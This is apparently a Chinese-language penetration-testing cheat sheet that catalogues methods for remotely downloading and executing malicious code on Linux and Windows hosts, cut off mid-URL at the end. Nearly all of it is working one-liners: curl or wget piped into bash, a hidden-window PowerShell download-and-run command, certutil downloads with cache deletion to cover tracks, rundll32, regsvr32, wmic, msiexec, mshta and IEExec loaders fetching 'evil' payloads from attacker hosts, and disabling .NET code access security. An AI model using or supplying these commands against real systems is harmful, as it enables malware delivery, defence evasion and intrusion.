在滲透過程中,攻擊者往往需要通過命令下載執行惡意代碼,實現信息收集、持久化、權限提升、防御繞過、提取憑證、橫向移動、數據滲出等操作。
在目標主機執行惡意代碼,可以分為上傳/下載並執行惡意代碼和無文件遠程惡意代碼執行。接下來,我們來總結一下Linux和Windows中下載和執行惡意代碼的一些姿勢。
一、Linux 遠程惡意代碼執行
01、curl
以用curl的方式執行http頁面上的shell腳本,無需download,在本地機器上直接執行。
方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
02、wget
執行wget命令遠程下載惡意程序。
方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合並,實現無文件遠程惡意代碼執行。
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
03、rcp
rcp命令用於復制遠程文件或目錄。
rcp root@x.x.x.x:./testfile testfile
04、scp
scp 是 rcp 的加強版,scp 是加密的,rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
05、rsync
使用rsync可以進行遠程同步,拉取文件到本地服務器。
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
06、sftp
使用sftp下載遠程服務器上的文件。
sftp admin@192.168.99.242 <<EOF
get /tmp/2.txt
quit
EOF
二、Windows 遠程惡意代碼執行
01、Powershell
利用powershell遠程執行ps1腳本。
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"
02、Bitsadmin
利用bitsadmin命令下載文件到目標機器。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
03、certutil
用於備份證書服務,一般建議下載完文件后對緩存進行刪除。
#下載文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#刪除緩存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
04、rundll32
使用rundll32.exe,可以通過mshtml.dll執行JavaScript ,依賴於WScript.shell這個組件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
05、regsvr32
遠程加載執行,解析.src文件。
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
06、wmic
執行WMIC以下命令從遠程服務器下載並運行惡意XSL文件:
wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
07、msiexec
用於安裝Windows Installer安裝包,可遠程執行msi文件。
msiexec /q /i http://192.168.28.128/evil.msi
08、IEExec
IEexec.exe應用程序是.NET Framework附帶程序,運行IEExec.exe並使用url啟動其他程序。
crosoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
09、mshta
mshta用於執行.hta文件
mshta http://192.168.28.128/run.hta
10、msxsl
msxsl.exe是微軟用於命令行下處理XSL的一個程序
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
11、pubprn.vbs
在Windows 7以上版本存在一個名為pubprn.vbs的微軟已簽名WSH腳本,可以利用來解析.sct腳本:
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.